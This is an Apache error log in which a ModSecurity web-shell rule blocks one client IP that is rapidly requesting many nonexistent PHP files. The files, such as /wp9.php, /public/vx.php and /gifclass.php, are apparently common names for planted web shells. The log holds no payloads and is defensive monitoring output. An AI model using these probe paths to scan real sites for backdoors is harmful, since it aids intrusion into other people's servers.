[Fri Mar 27 18:15:43.405776 2026] [proxy_fcgi:error] [pid 63897:tid 63919] [client 20.91.226.172:19510] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:15:43.672661 2026] [proxy_fcgi:error] [pid 63897:tid 63909] [client 20.91.226.172:19510] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:15:43.939368 2026] [proxy_fcgi:error] [pid 63897:tid 63899] [client 20.91.226.172:19510] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:15:44.208487 2026] [proxy_fcgi:error] [pid 63897:tid 63912] [client 20.91.226.172:19510] AH01071: Got error 'Primary script unknown'
[Fri Mar 27 18:15:44.470711 2026] [:error] [pid 63897:tid 63915] [client 20.91.226.172:19510] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acZY0GVSkmYmLu7ycYgutAAAARA"]
[Fri Mar 27 18:15:45.015653 2026] [:error] [pid 4293:tid 4300] [client 20.91.226.172:10899] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acZY0ZLjeJUC3OKtEx818gAAAUU"]
[Fri Mar 27 18:15:45.559994 2026] [:error] [pid 4341:tid 4343] [client 20.91.226.172:10485] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acZY0eKJWrNB5dMlERF3xAAAAYA"]
[Fri Mar 27 18:15:46.083970 2026] [:error] [pid 4293:tid 4306] [client 20.91.226.172:41369] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/motu.php"] [unique_id "acZY0pLjeJUC3OKtEx819gAAAUs"]
[Fri Mar 27 18:15:46.615117 2026] [:error] [pid 4293:tid 4311] [client 20.91.226.172:42707] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "acZY0pLjeJUC3OKtEx81-wAAAVA"]
[Fri Mar 27 18:15:47.154127 2026] [:error] [pid 4293:tid 4302] [client 20.91.226.172:20710] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "acZY05LjeJUC3OKtEx82AgAAAUc"]
[Fri Mar 27 18:15:47.686990 2026] [:error] [pid 27749:tid 27794] [client 20.91.226.172:12500] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "acZY08EqyoMni2Q6_X7gHgAAAEM"]
[Fri Mar 27 18:15:48.218378 2026] [:error] [pid 4293:tid 4303] [client 20.91.226.172:31975] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "acZY1JLjeJUC3OKtEx82CQAAAUg"]
[Fri Mar 27 18:15:48.789657 2026] [:error] [pid 27743:tid 27784] [client 20.91.226.172:19494] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acZY1CA46UYYLqzw99CsyAAAABQ"]
[Fri Mar 27 18:15:49.353967 2026] [:error] [pid 4341:tid 4350] [client 20.91.226.172:12513] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acZY1eKJWrNB5dMlERF3ygAAAYc"]
[Fri Mar 27 18:15:49.880869 2026] [:error] [pid 27743:tid 27769] [client 20.91.226.172:19564] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acZY1SA46UYYLqzw99CszAAAAAU"]
[Fri Mar 27 18:15:50.418764 2026] [:error] [pid 4341:tid 4346] [client 20.91.226.172:19530] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "acZY1uKJWrNB5dMlERF3zAAAAYM"]
[Fri Mar 27 18:15:50.982680 2026] [:error] [pid 27743:tid 27764] [client 20.91.226.172:10483] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acZY1iA46UYYLqzw99Cs0wAAAAA"]
[Fri Mar 27 18:15:51.538475 2026] [:error] [pid 4341:tid 4355] [client 20.91.226.172:43212] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acZY1-KJWrNB5dMlERF3zwAAAYw"]
[Fri Mar 27 18:15:52.073912 2026] [:error] [pid 4293:tid 4309] [client 20.91.226.172:31996] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acZY2JLjeJUC3OKtEx82HQAAAU4"]
[Fri Mar 27 18:15:52.603754 2026] [:error] [pid 27743:tid 27774] [client 20.91.226.172:19507] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/vx.php"] [unique_id "acZY2CA46UYYLqzw99Cs1gAAAAo"]
[Fri Mar 27 18:15:53.146719 2026] [:error] [pid 63897:tid 63907] [client 20.91.226.172:43237] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "acZY2WVSkmYmLu7ycYguvQAAAQg"]
[Fri Mar 27 18:15:53.692787 2026] [:error] [pid 27743:tid 27780] [client 20.91.226.172:31939] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "acZY2SA46UYYLqzw99Cs1wAAABA"]
[Fri Mar 27 18:15:54.261323 2026] [:error] [pid 4293:tid 4305] [client 20.91.226.172:22960] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "acZY2pLjeJUC3OKtEx82JQAAAUo"]
[Fri Mar 27 18:15:54.792679 2026] [:error] [pid 27743:tid 27773] [client 20.91.226.172:2055] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inege.php"] [unique_id "acZY2iA46UYYLqzw99Cs2QAAAAk"]
[Fri Mar 27 18:15:55.365987 2026] [:error] [pid 27743:tid 27781] [client 20.91.226.172:2059] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "acZY2yA46UYYLqzw99Cs3AAAABE"]
[Fri Mar 27 18:15:55.937741 2026] [:error] [pid 27750:tid 27840] [client 20.91.226.172:21473] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "acZY24aSil5rd17ieLzbTgAAAJY"]
[Fri Mar 27 18:15:56.491700 2026] [:error] [pid 4293:tid 4317] [client 20.91.226.172:2084] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "acZY3JLjeJUC3OKtEx82MgAAAVY"]
[Fri Mar 27 18:15:57.028461 2026] [:error] [pid 27743:tid 27767] [client 20.91.226.172:23030] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "acZY3SA46UYYLqzw99Cs5gAAAAM"]
[Fri Mar 27 18:15:57.560370 2026] [:error] [pid 27750:tid 27830] [client 20.91.226.172:10481] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acZY3YaSil5rd17ieLzbUQAAAIw"]
[Fri Mar 27 18:15:58.103768 2026] [:error] [pid 27750:tid 27834] [client 20.91.226.172:17289] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acZY3oaSil5rd17ieLzbUgAAAJA"]
[Fri Mar 27 18:15:58.628797 2026] [:error] [pid 27750:tid 27828] [client 20.91.226.172:17286] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acZY3oaSil5rd17ieLzbVAAAAIo"]
[Fri Mar 27 18:15:59.166891 2026] [:error] [pid 27750:tid 27837] [client 20.91.226.172:40518] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/t.php"] [unique_id "acZY34aSil5rd17ieLzbVgAAAJM"]
[Fri Mar 27 18:15:59.695828 2026] [:error] [pid 63897:tid 63919] [client 20.91.226.172:31991] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acZY32VSkmYmLu7ycYguxgAAARQ"]
[Fri Mar 27 18:16:00.279468 2026] [:error] [pid 4341:tid 4347] [client 20.91.226.172:17283] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acZY4OKJWrNB5dMlERF34AAAAYQ"]
[Fri Mar 27 18:16:00.817681 2026] [:error] [pid 4341:tid 4359] [client 20.91.226.172:42738] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acZY4OKJWrNB5dMlERF35AAAAZA"]
[Fri Mar 27 18:16:01.403193 2026] [:error] [pid 4341:tid 4354] [client 20.91.226.172:2698] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "acZY4eKJWrNB5dMlERF36AAAAYs"]
[Fri Mar 27 18:16:01.928501 2026] [:error] [pid 27750:tid 27835] [client 20.91.226.172:42718] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/ws49.php"] [unique_id "acZY4YaSil5rd17ieLzbXQAAAJE"]
[Fri Mar 27 18:16:02.472647 2026] [:error] [pid 4293:tid 4317] [client 20.91.226.172:14492] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/ws49.php"] [unique_id "acZY4pLjeJUC3OKtEx82PQAAAVY"]
[Fri Mar 27 18:16:03.033986 2026] [:error] [pid 63897:tid 63919] [client 20.91.226.172:2725] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/ws49.php"] [unique_id "acZY42VSkmYmLu7ycYgu1AAAARQ"]
[Fri Mar 27 18:16:03.592372 2026] [:error] [pid 63897:tid 63914] [client 20.91.226.172:43230] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/public/ws49.php"] [unique_id "acZY42VSkmYmLu7ycYgu1QAAAQ8"]
[Fri Mar 27 18:16:04.138556 2026] [:error] [pid 4341:tid 4349] [client 20.91.226.172:19501] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "acZY5OKJWrNB5dMlERF38wAAAYY"]
[Fri Mar 27 18:16:04.676835 2026] [:error] [pid 63897:tid 63905] [client 20.91.226.172:21480] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "acZY5GVSkmYmLu7ycYgu3QAAAQY"]
[Fri Mar 27 18:16:05.211242 2026] [:error] [pid 27743:tid 27768] [client 20.91.226.172:23021] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "acZY5SA46UYYLqzw99Cs_wAAAAQ"]
[Fri Mar 27 18:16:05.738707 2026] [:error] [pid 63897:tid 63912] [client 20.91.226.172:16908] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gifclass.php"] [unique_id "acZY5WVSkmYmLu7ycYgu4wAAAQ0"]
[Fri Mar 27 18:16:06.307440 2026] [:error] [pid 27743:tid 27774] [client 20.91.226.172:19497] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "acZY5iA46UYYLqzw99CtAQAAAAo"]
[Fri Mar 27 18:16:06.836635 2026] [:error] [pid 4341:tid 4347] [client 20.91.226.172:43203] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "acZY5uKJWrNB5dMlERF3_QAAAYQ"]
[Fri Mar 27 18:16:07.371426 2026] [:error] [pid 27750:tid 27828] [client 20.91.226.172:8182] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "acZY54aSil5rd17ieLzbZAAAAIo"]
[Fri Mar 27 18:16:07.934560 2026] [:error] [pid 63897:tid 63911] [client 20.91.226.172:15556] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sa.php7"] [unique_id "acZY52VSkmYmLu7ycYgu5QAAAQw"]
[Fri Mar 27 18:16:08.483574 2026] [:error] [pid 27750:tid 27835] [client 20.91.226.172:42714] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "acZY6IaSil5rd17ieLzbawAAAJE"]
[Fri Mar 27 18:16:09.035250 2026] [:error] [pid 4293:tid 4313] [client 20.91.226.172:17310] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "acZY6ZLjeJUC3OKtEx82SAAAAVI"]
[Fri Mar 27 18:16:09.575520 2026] [:error] [pid 4341:tid 4348] [client 20.91.226.172:65112] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "acZY6eKJWrNB5dMlERF4AQAAAYU"]
[Fri Mar 27 18:16:10.111764 2026] [:error] [pid 4341:tid 4355] [client 20.91.226.172:40535] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/jp.php"] [unique_id "acZY6uKJWrNB5dMlERF4BgAAAYw"]
[Fri Mar 27 18:16:10.674601 2026] [:error] [pid 63897:tid 63900] [client 20.91.226.172:17300] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acZY6mVSkmYmLu7ycYgu6wAAAQE"]
[Fri Mar 27 18:16:11.240017 2026] [:error] [pid 27851:tid 27860] [client 20.91.226.172:34965] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acZY63R2ccxe3RMCLbrVrAAAAMI"]
[Fri Mar 27 18:16:11.831531 2026] [:error] [pid 27750:tid 27820] [client 20.91.226.172:2691] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acZY64aSil5rd17ieLzbcwAAAII"]
[Fri Mar 27 18:16:12.377113 2026] [:error] [pid 27743:tid 27773] [client 20.91.226.172:15594] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-good.php"] [unique_id "acZY7CA46UYYLqzw99CtDQAAAAk"]
[Fri Mar 27 18:16:12.937499 2026] [:error] [pid 27743:tid 27781] [client 20.91.226.172:15592] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acZY7CA46UYYLqzw99CtDwAAABE"]
[Fri Mar 27 18:16:13.473055 2026] [:error] [pid 63897:tid 63901] [client 20.91.226.172:41380] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acZY7WVSkmYmLu7ycYgu7QAAAQI"]
[Fri Mar 27 18:16:14.011540 2026] [:error] [pid 27743:tid 27782] [client 20.91.226.172:2104] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a5.php"] [unique_id "acZY7iA46UYYLqzw99CtEwAAABI"]
